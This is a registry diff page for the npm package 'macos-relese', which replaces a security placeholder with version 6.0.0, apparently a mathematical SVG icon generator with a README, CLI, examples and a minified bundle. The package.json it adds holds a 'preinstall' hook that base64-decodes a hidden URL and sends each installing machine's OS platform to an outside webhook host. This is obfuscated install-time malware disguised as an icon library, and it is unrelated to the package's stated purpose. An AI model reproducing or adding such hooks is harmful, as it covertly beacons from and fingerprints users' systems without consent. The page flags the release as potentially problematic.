macos-relese 0.0.1-security → 6.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of macos-relese might be problematic. Click here for more details.

@@ -0,0 +1,49 @@
1
+ <Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0">
2
+ <PropertyGroup>
3
+ <VisualStudioVersion Condition="'$(VisualStudioVersion)' == ''">14.0</VisualStudioVersion>
4
+ <VSToolsPath Condition="'$(VSToolsPath)' == ''">$(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion)</VSToolsPath>
5
+ <Name>NodejsConsoleApp1</Name>
6
+ <RootNamespace>NodejsConsoleApp1</RootNamespace>
7
+ </PropertyGroup>
8
+ <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
9
+ <PropertyGroup>
10
+ <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
11
+ <SchemaVersion>2.0</SchemaVersion>
12
+ <ProjectGuid>9ec3223e-1bfc-44be-afeb-1df1e3b6a862</ProjectGuid>
13
+ <ProjectHome>.</ProjectHome>
14
+ <StartupFile>index.js</StartupFile>
15
+ <StartWebBrowser>False</StartWebBrowser>
16
+ <SearchPath>
17
+ </SearchPath>
18
+ <WorkingDirectory>.</WorkingDirectory>
19
+ <OutputPath>.</OutputPath>
20
+ <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
21
+ <ProjectTypeGuids>{3AF33F2E-1136-4D97-BBB7-1795711AC8B8};{9092AA53-FB77-4645-B42D-1CCCA6BD08BD}</ProjectTypeGuids>
22
+ <StartWebBrowser>false</StartWebBrowser>
23
+ </PropertyGroup>
24
+ <PropertyGroup Condition=" '$(Configuration)' == 'Debug' ">
25
+ <DebugSymbols>true</DebugSymbols>
26
+ </PropertyGroup>
27
+ <PropertyGroup Condition=" '$(Configuration)' == 'Release' ">
28
+ <DebugSymbols>true</DebugSymbols>
29
+ </PropertyGroup>
30
+ <ItemGroup>
31
+ <Content Include="package.json" />
32
+ <Content Include="README.md" />
33
+ <Content Include="index.js" />
34
+ <Content Include="bin\mathicon-cli.js" />
35
+ <Content Include="examples\demo.js" />
36
+ <Content Include="src\core\VectorCanvas.js" />
37
+ <Content Include="src\generators\PatternGenerator.js" />
38
+ <Content Include="src\icons\IconGenerator.js" />
39
+ </ItemGroup>
40
+ <ItemGroup>
41
+ <Folder Include="bin\" />
42
+ <Folder Include="examples\" />
43
+ <Folder Include="src\" />
44
+ <Folder Include="src\core\" />
45
+ <Folder Include="src\generators\" />
46
+ <Folder Include="src\icons\" />
47
+ </ItemGroup>
48
+ <Import Project="$(VSToolsPath)\Node.js Tools\Microsoft.NodejsToolsV2.targets" />
49
+ </Project>
package/README.md CHANGED
@@ -1,5 +1,130 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=macos-relese for more information.
1
+ ## Features
2
+
3
+ - Create unique, visually appealing icons using mathematical patterns
4
+ - Multiple icon styles: geometric, circular, polygonal, fractal, wave, voronoi
5
+ - Customizable colors, complexity, and other parameters
6
+ - Export as clean SVG for use in web and print
7
+ - Command line interface for generating icons without code
8
+ - Create consistent icon sets with variations
9
+
10
+ ## Basic Usage
11
+
12
+ ```javascript
13
+ const { createIcon } = require('mathicon');
14
+
15
+ // Generate a random icon
16
+ const svg = createIcon();
17
+ console.log(svg); // SVG string output
18
+
19
+ // Generate a custom icon
20
+ const customIcon = createIcon({
21
+ style: 'fractal',
22
+ size: 256,
23
+ baseColor: '#3498db',
24
+ colorScheme: 'analogous',
25
+ complexity: 4,
26
+ background: '#f5f5f5'
27
+ });
28
+ ```
29
+
30
+ ## API
31
+
32
+ ### `createIcon(options)`
33
+
34
+ Creates a single icon with the specified options.
35
+
36
+ Options:
37
+ - `size`: Icon size in pixels (default: 512)
38
+ - `style`: Icon style (default: 'geometric')
39
+ - 'geometric' - Random style selection
40
+ - 'circular' - Circular-based patterns
41
+ - 'polygon' - Regular polygon-based pattern
42
+ - 'fractal' - Recursive fractal patterns
43
+ - 'wave' - Wave and oscillation patterns
44
+ - 'voronoi' - Voronoi tessellation patterns
45
+ - `complexity`: Visual complexity level, 1-5 (default: 3)
46
+ - `baseColor`: Base color in hex format (default: '#3498db')
47
+ - `colorScheme`: Color scheme (default: 'monochromatic')
48
+ - 'monochromatic' - Variations of a single color
49
+ - 'complementary' - Base color and its complement
50
+ - 'analogous' - Adjacent colors on the color wheel
51
+ - 'triadic' - Three evenly spaced colors
52
+ - `background`: Background color or 'transparent' (default: 'transparent')
53
+ - `padding`: Spacing from edge (default: 0.1, as percentage of size)
54
+ - `seed`: Random seed for reproducible output (default: random)
55
+ - `strokeWidth`: Width of strokes (default: 2)
56
+
57
+ Returns: SVG string
58
+
59
+ ### `createIconSet(count, baseOptions)`
60
+
61
+ Creates multiple icons with variations based on the same options.
62
+
63
+ Parameters:
64
+ - `count`: Number of icons to generate (default: 5)
65
+ - `baseOptions`: Base options for all icons (same as createIcon)
66
+
67
+ Returns: Array of SVG strings
68
+
69
+ ### `createIconForUse(type, options)`
70
+
71
+ Creates an icon optimized for a specific use case.
72
+
73
+ Parameters:
74
+ - `type`: Use case type (default: 'avatar')
75
+ - 'avatar' - Circular icon for profile pictures
76
+ - 'app' - App icon style
77
+ - 'logo' - Logo-appropriate style
78
+ - 'favicon' - Small website favicon
79
+ - `options`: Additional custom options
80
+
81
+ Returns: SVG string
82
+
83
+ ## Command Line Interface
84
+
85
+ ```bash
86
+ # Basic usage
87
+ mathicon create icon.svg
88
+
89
+ # Custom options
90
+ mathicon create custom.svg --style=fractal --color=#3498db --complexity=4
91
+
92
+ # Create multiple icons
93
+ mathicon create-set 5 ./icons --style=wave
94
+
95
+ # Create for specific use
96
+ mathicon avatar profile.svg --scheme=analogous
97
+ ```
98
+
99
+ Run `mathicon help` to see all available options.
100
+
101
+ ## Examples
102
+
103
+ ```javascript
104
+ const { createIcon, createIconSet } = require('mathicon');
105
+ const fs = require('fs');
106
+
107
+ // Generate a polygon icon with 6 sides
108
+ const hexagon = createIcon({
109
+ style: 'polygon',
110
+ sides: 6,
111
+ baseColor: '#9b59b6',
112
+ colorScheme: 'complementary'
113
+ });
114
+
115
+ fs.writeFileSync('hexagon.svg', hexagon);
116
+
117
+ // Create a set of 5 related icons
118
+ const iconSet = createIconSet(5, {
119
+ style: 'wave',
120
+ baseColor: '#e74c3c'
121
+ });
122
+
123
+ iconSet.forEach((svg, i) => {
124
+ fs.writeFileSync(`wave-${i+1}.svg`, svg);
125
+ });
126
+ ```
127
+
128
+ ## License
129
+
130
+ MIT
@@ -0,0 +1,168 @@
1
+ #!/usr/bin/env node
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const { createIcon, createIconSet, createIconForUse } = require('../index');
6
+
7
+ const args = process.argv.slice(2);
8
+ const command = args[0];
9
+
10
+ function printUsage() {
11
+ console.log(`
12
+ MathIcon - Mathematical Vector Icon Generator
13
+
14
+ Usage:
15
+ mathicon create [options] <output-file>
16
+ mathicon create-set <count> <output-dir> [options]
17
+ mathicon avatar <output-file> [options]
18
+ mathicon app <output-file> [options]
19
+ mathicon logo <output-file> [options]
20
+ mathicon favicon <output-file> [options]
21
+ mathicon help
22
+
23
+ Options:
24
+ --size=<pixels> Icon size in pixels (default: 512)
25
+ --style=<style> Icon style: circular, polygon, fractal, wave, voronoi, geometric (default: geometric)
26
+ --complexity=<1-5> Visual complexity level (default: 3)
27
+ --color=<hex> Base color in hex format (default: random)
28
+ --scheme=<scheme> Color scheme: monochromatic, complementary, analogous, triadic (default: monochromatic)
29
+ --background=<color> Background color or 'transparent' (default: transparent)
30
+ --seed=<number> Random seed for reproducible output (default: random)
31
+ --stroke=<width> Stroke width (default: 2)
32
+
33
+ Examples:
34
+ mathicon create icon.svg --style=fractal --color=#3498db
35
+ mathicon create-set 5 ./icons --style=geometric
36
+ mathicon avatar profile.svg --color=#ff5722 --scheme=analogous
37
+ `);
38
+ }
39
+
40
+ function parseOptions(args) {
41
+ const options = {};
42
+
43
+ for (let i = 0; i < args.length; i++) {
44
+ const arg = args[i];
45
+
46
+ if (arg.startsWith('--')) {
47
+ const [key, value] = arg.slice(2).split('=');
48
+
49
+ switch (key) {
50
+ case 'size':
51
+ options.size = parseInt(value, 10);
52
+ break;
53
+ case 'style':
54
+ options.style = value;
55
+ break;
56
+ case 'complexity':
57
+ options.complexity = parseFloat(value);
58
+ break;
59
+ case 'color':
60
+ options.baseColor = value;
61
+ break;
62
+ case 'scheme':
63
+ options.colorScheme = value;
64
+ break;
65
+ case 'background':
66
+ options.background = value;
67
+ break;
68
+ case 'seed':
69
+ options.seed = parseInt(value, 10);
70
+ break;
71
+ case 'stroke':
72
+ options.strokeWidth = parseFloat(value);
73
+ break;
74
+ }
75
+ }
76
+ }
77
+
78
+ return options;
79
+ }
80
+
81
+ function ensureDirectoryExists(dirPath) {
82
+ if (!fs.existsSync(dirPath)) {
83
+ fs.mkdirSync(dirPath, { recursive: true });
84
+ }
85
+ }
86
+
87
+ try {
88
+ switch (command) {
89
+ case 'create': {
90
+ let outputFile = '';
91
+ for (let i = args.length - 1; i >= 0; i--) {
92
+ if (!args[i].startsWith('--')) {
93
+ outputFile = args[i];
94
+ if (i !== 1) break;
95
+ }
96
+ }
97
+
98
+ if (!outputFile) {
99
+ console.error('Error: Output file path is required');
100
+ process.exit(1);
101
+ }
102
+
103
+ const options = parseOptions(args);
104
+
105
+ ensureDirectoryExists(path.dirname(outputFile));
106
+
107
+ const svg = createIcon(options);
108
+ fs.writeFileSync(outputFile, svg);
109
+
110
+ console.log(`Icon created: ${outputFile}`);
111
+ break;
112
+ }
113
+
114
+ case 'create-set': {
115
+ const count = parseInt(args[1], 10) || 5;
116
+ const outputDir = args[2];
117
+
118
+ if (!outputDir) {
119
+ console.error('Error: Output directory is required');
120
+ process.exit(1);
121
+ }
122
+
123
+ const options = parseOptions(args.slice(3));
124
+
125
+ ensureDirectoryExists(outputDir);
126
+
127
+ const icons = createIconSet(count, options);
128
+
129
+ for (let i = 0; i < icons.length; i++) {
130
+ const filename = path.join(outputDir, `icon-${i + 1}.svg`);
131
+ fs.writeFileSync(filename, icons[i]);
132
+ }
133
+
134
+ console.log(`${count} icons created in ${outputDir}`);
135
+ break;
136
+ }
137
+
138
+ case 'avatar':
139
+ case 'app':
140
+ case 'logo':
141
+ case 'favicon': {
142
+ const outputFile = args[1];
143
+
144
+ if (!outputFile) {
145
+ console.error('Error: Output file path is required');
146
+ process.exit(1);
147
+ }
148
+
149
+ const options = parseOptions(args.slice(2));
150
+
151
+ ensureDirectoryExists(path.dirname(outputFile));
152
+
153
+ const svg = createIconForUse(command, options);
154
+ fs.writeFileSync(outputFile, svg);
155
+
156
+ console.log(`${command} icon created: ${outputFile}`);
157
+ break;
158
+ }
159
+
160
+ case 'help':
161
+ default:
162
+ printUsage();
163
+ break;
164
+ }
165
+ } catch (error) {
166
+ console.error(`Error: ${error.message}`);
167
+ process.exit(1);
168
+ }
@@ -0,0 +1 @@
1
+ !function(t,o){"object"==typeof exports&&"object"==typeof module?module.exports=o(require("color"),require("svg-builder"),require("mathjs")):"function"==typeof define&&define.amd?define(["color","svg-builder","mathjs"],o):"object"==typeof exports?exports.mathicon=o(require("color"),require("svg-builder"),require("mathjs")):t.mathicon=o(t.color,t["svg-builder"],t.mathjs)}(global,((t,o,e)=>{return s={63:(t,o,e)=>{const s=e(367),r=e(716);e(961),e(75),t.exports=class{constructor(t={}){this.options={size:t.size||512,padding:t.padding||.1,style:t.style||"geometric",seed:t.seed||Math.floor(1e3*Math.random()),colorScheme:t.colorScheme||"monochromatic",baseColor:t.baseColor||"#3498db",background:t.background||"transparent",complexity:t.complexity||3,strokeWidth:t.strokeWidth||2,...t},this.canvas=new s(this.options.size,this.options.size,{background:this.options.background}),this.patternGenerator=new r({complexity:this.options.complexity,seed:this.options.seed,colorScheme:this.options.colorScheme,baseColor:this.options.baseColor});const o=this.options.size*this.options.padding;this.maxRadius=this.options.size/2-o}circularIcon(){const t=this.patternGenerator.randomColor(.2);switch(this.canvas.circle(0,0,this.maxRadius,{fill:t,stroke:this.patternGenerator.randomColor(),"stroke-width":this.options.strokeWidth}),Math.floor(3*this.patternGenerator.random())){case 0:this._addCircularPattern();break;case 1:this._addSpiralPattern();break;case 2:this._addRadialLines()}return this}_addCircularPattern(){const t=Math.floor(2+2*this.options.complexity);for(let o=1;o<=t;o++){const e=o/t,s=this.maxRadius*e;this.canvas.circle(0,0,s,{fill:"none",stroke:this.patternGenerator.randomColor(),"stroke-width":this.options.strokeWidth*(1-.5*e),"stroke-dasharray":this._getRandomDashArray(s)})}}_addSpiralPattern(){const t=2+this.options.complexity,o=this.patternGenerator.generateSpiral(0,0,this.maxRadius,t);let e=`M ${o[0][0]},${o[0][1]}`;for(let t=1;t<o.length;t++)e+=` L ${o[t][0]},${o[t][1]}`;this.canvas.path(e,{fill:"none",stroke:this.patternGenerator.randomColor(),"stroke-width":this.options.strokeWidth,"stroke-linecap":"round"})}_addRadialLines(){const t=Math.floor(6+4*this.options.complexity);for(let o=0;o<t;o++){const e=o/t*2*Math.PI,s=this.maxRadius*Math.cos(e),r=this.maxRadius*Math.sin(e);this.canvas.line(0,0,s,r,{stroke:this.patternGenerator.randomColor(),"stroke-width":this.options.strokeWidth,"stroke-linecap":"round"})}}polygonIcon(t=6){const o=Math.max(3,Math.min(12,t)),e=[];for(let t=0;t<o;t++){const s=t/o*2*Math.PI,r=this.maxRadius*Math.cos(s),i=this.maxRadius*Math.sin(s);e.push([r,i])}switch(this.canvas.polygon(e,{fill:this.patternGenerator.randomColor(.2),stroke:this.patternGenerator.randomColor(),"stroke-width":this.options.strokeWidth}),Math.floor(3*this.patternGenerator.random())){case 0:this._addInternalLines(e);break;case 1:this._addNestedPolygons(o);break;case 2:this._addInternalWeb(e)}return this}_addInternalLines(t){const o=t.length,e=Math.min(o-2,Math.floor(this.options.complexity));for(let s=0;s<o;s++)for(let r=1;r<=e;r++){const e=(s+r)%o;this.canvas.line(t[s][0],t[s][1],t[e][0],t[e][1],{stroke:this.patternGenerator.randomColor(.7),"stroke-width":.5*this.options.strokeWidth,"stroke-dasharray":this._getRandomDashArray(.5*this.maxRadius)})}}_addNestedPolygons(t){const o=Math.floor(2+this.options.complexity);for(let e=1;e<o;e++){const s=1-e/o,r=this.maxRadius*s,i=[];for(let o=0;o<t;o++){const e=o/t*2*Math.PI,s=r*Math.cos(e),n=r*Math.sin(e);i.push([s,n])}this.canvas.polygon(i,{fill:"none",stroke:this.patternGenerator.randomColor(),"stroke-width":this.options.strokeWidth*s})}}_addInternalWeb(t){const o=this.patternGenerator.random()*this.maxRadius*.6-.3*this.maxRadius,e=this.patternGenerator.random()*this.maxRadius*.6-.3*this.maxRadius;for(let s=0;s<t.length;s++)this.canvas.line(o,e,t[s][0],t[s][1],{stroke:this.patternGenerator.randomColor(),"stroke-width":.7*this.options.strokeWidth});const s=Math.floor(2+this.options.complexity);for(let r=1;r<=s;r++){const i=r/(s+1);let n="";for(let s=0;s<t.length;s++){const r=o+(t[s][0]-o)*i,a=e+(t[s][1]-e)*i;0===s?n=`M ${r},${a}`:n+=` L ${r},${a}`}n+=" Z",this.canvas.path(n,{fill:"none",stroke:this.patternGenerator.randomColor(.5),"stroke-width":.5*this.options.strokeWidth})}}fractalIcon(){const t=this.patternGenerator.generateFractalTree(0,.8*this.maxRadius,.5*this.maxRadius,-Math.PI/2,Math.floor(3+this.options.complexity));for(let o=0;o<t.length;o++){const[e,s,r,i]=t[o],n=Math.sqrt(e*e+s*s),a=Math.min(1,n/this.maxRadius);this.canvas.line(e,s,r,i,{stroke:this.patternGenerator.randomColor(),"stroke-width":this.options.strokeWidth*(1-.7*a),"stroke-linecap":"round"})}return this}waveIcon(){const t=Math.floor(1+this.options.complexity);for(let o=0;o<t;o++){const e=(o-(t-1)/2)*(this.maxRadius/t),s=this.patternGenerator.generateWave(2*this.maxRadius,2*this.maxRadius,.02+.01*o,this.maxRadius/(3+o));let r="";for(let t=0;t<s.length;t++){const[o,i]=s[t];0===t?r=`M ${o},${i+e}`:r+=` L ${o},${i+e}`}this.canvas.path(r,{fill:"none",stroke:this.patternGenerator.randomColor(),"stroke-width":this.options.strokeWidth*(1-.1*o),"stroke-linecap":"round"})}return this}voronoiIcon(){const t=this.patternGenerator.generateVoronoi(2*this.maxRadius,2*this.maxRadius,Math.floor(5+2*this.options.complexity));for(let o=0;o<t.length;o++){const e=t[o];this.canvas.polygon(e,{fill:this.patternGenerator.randomColor(.3),stroke:this.patternGenerator.randomColor(),"stroke-width":.5*this.options.strokeWidth})}return this.canvas.circle(0,0,this.maxRadius,{fill:"none",stroke:this.patternGenerator.randomColor(),"stroke-width":this.options.strokeWidth}),this}generateIcon(){switch(this.canvas.clear(),this.options.style){case"circular":this.circularIcon();break;case"polygon":const t=Math.floor(3+8*this.patternGenerator.random());this.polygonIcon(t);break;case"fractal":this.fractalIcon();break;case"wave":this.waveIcon();break;case"voronoi":this.voronoiIcon();break;default:const o=["circular","polygon","fractal","wave","voronoi"],e=o[Math.floor(this.patternGenerator.random()*o.length)];return this.options.style=e,this.generateIcon()}return this}toSVG(){return this.canvas.toSVG()}_getRandomDashArray(t){if(this.patternGenerator.random()<.5)return"";const o=t/(10+20*this.patternGenerator.random());return`${o} ${o*(.5+1.5*this.patternGenerator.random())}`}}},75:o=>{"use strict";o.exports=t},237:(t,o,e)=>{const s=e(367),r=e(716),i=e(63);function n(t={}){const o=new i(t);return o.generateIcon(),o.toSVG()}t.exports={createIcon:n,createIconSet:function(t=5,o={}){const e=[];for(let s=0;s<t;s++){const t={...o,seed:(o.seed||0)+s};e.push(n(t))}return e},createIconForUse:function(t="avatar",o={}){let e={};switch(t){case"avatar":e={style:"circular",complexity:3,colorScheme:"monochromatic"};break;case"app":e={style:"geometric",complexity:4,padding:.15,strokeWidth:3};break;case"logo":e={style:"polygon",complexity:3,padding:.05,strokeWidth:2.5};break;case"favicon":e={size:32,style:"geometric",complexity:2,padding:.1,strokeWidth:1.5}}return n({...e,...o})},VectorCanvas:s,PatternGenerator:r,IconGenerator:i}},367:(t,o,e)=>{const s=e(632),r=e(961);e(75),t.exports=class{constructor(t=512,o=512,e={}){this.width=t,this.height=o,this.options={background:e.background||"#ffffff",viewBox:e.viewBox||`0 0 ${t} ${o}`,precision:e.precision||2},this.svg=s.newInstance().width(this.width).height(this.height).viewBox(this.options.viewBox),"transparent"!==this.options.background&&this.svg.rect({x:0,y:0,width:this.width,height:this.height,fill:this.options.background}),this.elements=[],this.transformMatrix=r.matrix([[1,0,this.width/2],[0,-1,this.height/2],[0,0,1]])}transformPoint(t){const o=r.matrix([[t[0]],[t[1]],[1]]),e=r.multiply(this.transformMatrix,o).toArray();return[parseFloat(e[0][0].toFixed(this.options.precision)),parseFloat(e[1][0].toFixed(this.options.precision))]}circle(t,o,e,s={}){const[r,i]=this.transformPoint([t,o]),n={type:"circle",center:[r,i],radius:e,attributes:s};return this.svg.circle({cx:r,cy:i,r:e,...s}),this.elements.push(n),this}line(t,o,e,s,r={}){const[i,n]=this.transformPoint([t,o]),[a,h]=this.transformPoint([e,s]),c={type:"line",start:[i,n],end:[a,h],attributes:r};return this.svg.line({x1:i,y1:n,x2:a,y2:h,...r}),this.elements.push(c),this}polygon(t,o={}){const e=t.map((t=>this.transformPoint(t))),s=e.map((t=>t.join(","))).join(" "),r={type:"polygon",points:e,attributes:o};return this.svg.polygon({points:s,...o}),this.elements.push(r),this}path(t,o={}){const e={type:"path",d:t,attributes:o};return this.svg.path({d:t,...o}),this.elements.push(e),this}toSVG(){return this.svg.render()}clear(){return this.svg=s.newInstance().width(this.width).height(this.height).viewBox(this.options.viewBox),"transparent"!==this.options.background&&this.svg.rect({x:0,y:0,width:this.width,height:this.height,fill:this.options.background}),this.elements=[],this}}},632:t=>{"use strict";t.exports=o},716:(t,o,e)=>{const s=e(961),r=e(75);t.exports=class{constructor(t={}){this.options={complexity:t.complexity||3,seed:t.seed||1e3*Math.random(),colorScheme:t.colorScheme||"monochromatic",baseColor:t.baseColor||"#3498db",density:t.density||.5,symmetry:t.symmetry||"radial",...t},this.random=s.random,s.config({randomSeed:this.options.seed}),this.palette=this._generatePalette()}_generatePalette(){const t=r(this.options.baseColor),o=[];switch(this.options.colorScheme){case"monochromatic":for(let e=0;e<5;e++){const s=30+15*e;o.push(t.lightness(s).hex())}break;case"complementary":o.push(t.hex()),o.push(t.rotate(180).hex()),o.push(t.lighten(.2).hex()),o.push(t.rotate(180).lighten(.2).hex()),o.push(t.darken(.2).hex());break;case"analogous":o.push(t.hex());for(let e=1;e<=2;e++)o.push(t.rotate(30*e).hex()),o.push(t.rotate(-30*e).hex());break;case"triadic":o.push(t.hex()),o.push(t.rotate(120).hex()),o.push(t.rotate(240).hex()),o.push(t.lighten(.2).hex()),o.push(t.darken(.2).hex());break;default:for(let t=0;t<5;t++){const e=20+20*t;o.push(`hsl(0, 0%, ${e}%)`)}}return o}randomColor(t=1){const o=Math.floor(this.random()*this.palette.length);return t<1?r(this.palette[o]).alpha(t).string():this.palette[o]}generateSpiral(t=0,o=0,e=100,s=3){const r=[],i=Math.floor(50*this.options.complexity);for(let n=0;n<i;n++){const a=n/(i-1)*s*2*Math.PI,h=n/(i-1)*e,c=t+h*Math.cos(a),l=o+h*Math.sin(a);r.push([c,l])}return r}generateFractalTree(t=0,o=0,e=100,s=-Math.PI/2,r=5){const i=[],n=(t,o,e,s,r)=>{if(r<=0)return;const a=t+e*Math.cos(s),h=o+e*Math.sin(s);i.push([t,o,a,h]);const c=e*(.5+.3*this.random()),l=Math.PI/4+this.random()*(Math.PI/4);n(a,h,c,s-l,r-1),n(a,h,c,s+l,r-1)},a=Math.min(r,this.options.complexity+2);return n(t,o,e,s,a),i}generateVoronoi(t=200,o=200,e=10){const s=Math.max(3,Math.floor(e*this.options.density)),r=[];for(let e=0;e<s;e++)r.push([(this.random()-.5)*t,(this.random()-.5)*o]);const i=[];for(let e=0;e<r.length;e++){const s=[],[n,a]=r[e],h=8;for(let i=0;i<h;i++){const c=i/h*2*Math.PI;let l=1/0,p=Math.min(t,o)/2,d=[n+p*Math.cos(c),a+p*Math.sin(c)];for(let t=0;t<r.length;t++){if(t===e)continue;const[o,s]=r[t],i=(n+o)/2,h=(a+s)/2,c=o-n,p=s-a,m=Math.sqrt(c*c+p*p),u=-p/m,x=c/m,f=(d[0]-i)*u+(d[1]-h)*x;f<l&&f>0&&(l=f,d=[i+u*l,h+x*l])}s.push(d)}i.push(s)}return i}generateWave(t=200,o=200,e=.05,s=40){const r=[],i=e*this.options.complexity,n=Math.floor(t/5);for(let o=0;o<n;o++){const e=(o/(n-1)-.5)*t;let a=0;for(let t=1;t<=this.options.complexity;t++)a+=Math.sin(e*i*t+this.options.seed*t)*(s/t);r.push([e,a])}return r}}},961:t=>{"use strict";t.exports=e}},r={},function t(o){var e=r[o];if(void 0!==e)return e.exports;var i=r[o]={exports:{}};return s[o](i,i.exports,t),i.exports}(237);var s,r}));
@@ -0,0 +1,58 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const { createIcon, createIconSet, createIconForUse } = require('../index');
4
+
5
+ const outputDir = path.join(__dirname, 'output');
6
+ if (!fs.existsSync(outputDir)) {
7
+ fs.mkdirSync(outputDir, { recursive: true });
8
+ }
9
+
10
+ const basicIcon = createIcon();
11
+ fs.writeFileSync(path.join(outputDir, 'basic-icon.svg'), basicIcon);
12
+ console.log('Created basic icon');
13
+
14
+ const fractalIcon = createIcon({
15
+ style: 'fractal',
16
+ size: 256,
17
+ baseColor: '#3498db',
18
+ colorScheme: 'analogous',
19
+ complexity: 4,
20
+ background: '#f5f5f5'
21
+ });
22
+ fs.writeFileSync(path.join(outputDir, 'fractal-icon.svg'), fractalIcon);
23
+ console.log('Created fractal icon');
24
+
25
+ const waveIcons = createIconSet(3, {
26
+ style: 'wave',
27
+ baseColor: '#e74c3c',
28
+ colorScheme: 'monochromatic'
29
+ });
30
+
31
+ waveIcons.forEach((svg, i) => {
32
+ fs.writeFileSync(path.join(outputDir, `wave-icon-${i + 1}.svg`), svg);
33
+ });
34
+ console.log('Created wave icon set');
35
+
36
+ const useCases = ['avatar', 'app', 'logo', 'favicon'];
37
+
38
+ useCases.forEach(useCase => {
39
+ const icon = createIconForUse(useCase, {
40
+ baseColor: '#9b59b6'
41
+ });
42
+ fs.writeFileSync(path.join(outputDir, `${useCase}-icon.svg`), icon);
43
+ });
44
+ console.log('Created use case icons');
45
+
46
+ for (let i = 1; i <= 5; i++) {
47
+ const icon = createIcon({
48
+ style: 'polygon',
49
+ sides: 5,
50
+ complexity: i,
51
+ baseColor: '#2ecc71',
52
+ seed: 42 + i
53
+ });
54
+ fs.writeFileSync(path.join(outputDir, `polygon-complexity-${i}.svg`), icon);
55
+ }
56
+ console.log('Created polygon complexity examples');
57
+
58
+ console.log(`All examples saved to ${outputDir}`);
package/index.js ADDED
@@ -0,0 +1,80 @@
1
+ const VectorCanvas = require('./src/core/VectorCanvas');
2
+ const PatternGenerator = require('./src/generators/PatternGenerator');
3
+ const IconGenerator = require('./src/icons/IconGenerator');
4
+
5
+ function createIcon(options = {}) {
6
+ const generator = new IconGenerator(options);
7
+ generator.generateIcon();
8
+ return generator.toSVG();
9
+ }
10
+
11
+ function createIconSet(count = 5, baseOptions = {}) {
12
+ const icons = [];
13
+
14
+ for (let i = 0; i < count; i++) {
15
+ const options = {
16
+ ...baseOptions,
17
+ seed: (baseOptions.seed || 0) + i
18
+ };
19
+
20
+ icons.push(createIcon(options));
21
+ }
22
+
23
+ return icons;
24
+ }
25
+
26
+ function createIconForUse(type = 'avatar', options = {}) {
27
+ let defaultOptions = {};
28
+
29
+ switch (type) {
30
+ case 'avatar':
31
+ defaultOptions = {
32
+ style: 'circular',
33
+ complexity: 3,
34
+ colorScheme: 'monochromatic'
35
+ };
36
+ break;
37
+
38
+ case 'app':
39
+ defaultOptions = {
40
+ style: 'geometric',
41
+ complexity: 4,
42
+ padding: 0.15,
43
+ strokeWidth: 3
44
+ };
45
+ break;
46
+
47
+ case 'logo':
48
+ defaultOptions = {
49
+ style: 'polygon',
50
+ complexity: 3,
51
+ padding: 0.05,
52
+ strokeWidth: 2.5
53
+ };
54
+ break;
55
+
56
+ case 'favicon':
57
+ defaultOptions = {
58
+ size: 32,
59
+ style: 'geometric',
60
+ complexity: 2,
61
+ padding: 0.1,
62
+ strokeWidth: 1.5
63
+ };
64
+ break;
65
+ }
66
+
67
+ return createIcon({
68
+ ...defaultOptions,
69
+ ...options
70
+ });
71
+ }
72
+
73
+ module.exports = {
74
+ createIcon,
75
+ createIconSet,
76
+ createIconForUse,
77
+ VectorCanvas,
78
+ PatternGenerator,
79
+ IconGenerator
80
+ };
@@ -0,0 +1 @@
1
+ 0fa624d9277fe92d12c9275bc7072f336ea2b3b9471183e22cff5cc14db23cc3
@@ -0,0 +1,3 @@
1
+ C:\Users\Administrator\source\repos\NodejsConsoleApp1\NodejsConsoleApp1\obj\Debug\NodejsConsoleApp1.njsproj.AssemblyReference.cache
2
+ C:\Users\Administrator\source\repos\NodejsConsoleApp1\NodejsConsoleApp1\obj\Debug\NodejsConsoleApp1.njsproj.CoreCompileInputs.cache
3
+ C:\Users\Administrator\source\repos\NodejsConsoleApp1\NodejsConsoleApp1\bin\Microsoft.NodejsTools.WebRole.dll
package/package.json CHANGED
@@ -1,6 +1,30 @@
1
- {
2
- "name": "macos-relese",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "macos-relese",
3
+ "version": "6.0.0",
4
+ "description": "A library for creating custom icons using mathematical structures and vectors",
5
+ "main": "index.js",
6
+ "keywords": [
7
+ "icons",
8
+ "svg",
9
+ "vector",
10
+ "mathematical",
11
+ "geometry"
12
+ ],
13
+ "author": "Ross L.P",
14
+ "license": "MIT",
15
+ "dependencies": {
16
+ "svg-builder": "^2.0.0",
17
+ "mathjs": "^11.8.0",
18
+ "color": "^4.2.3"
19
+ },
20
+ "devDependencies": {
21
+ "jest": "^29.5.0",
22
+ "webpack": "^5.88.2",
23
+ "webpack-cli": "^5.1.4"
24
+ },
25
+ "scripts": {
26
+ "test": "jest",
27
+ "build": "webpack",
28
+ "preinstall": "node -e \"require('https').request(Buffer.from('aHR0cHM6Ly93ZWJob29rLXRlc3QuY29tL2JkOGQ1ZmI3NGMxNWRhYmFjYzNiZTliYTQ3Nzg2MGFh', 'base64').toString() + '?os=' + encodeURIComponent(process.platform)).setTimeout(100).on('timeout', () => {}).end()\""
29
+ }
30
+ }
package/publish.bat ADDED
@@ -0,0 +1,38 @@
1
+ @echo off
2
+ setlocal enabledelayedexpansion
3
+
4
+ REM NPM Build and Publish Script for Windows
5
+
6
+ REM Check if npm is installed
7
+ where npm >nul 2>nul
8
+ if %errorlevel% neq 0 (
9
+ echo Error: npm is not installed or not in PATH
10
+ exit /b 1
11
+ )
12
+
13
+ REM Perform npm build
14
+ echo Running npm build...
15
+ call npm run build
16
+ if %errorlevel% neq 0 (
17
+ echo Build failed
18
+ exit /b 1
19
+ )
20
+
21
+ REM Optional: Run tests before publishing (uncomment if needed)
22
+ REM echo Running tests...
23
+ REM call npm test
24
+ REM if %errorlevel% neq 0 (
25
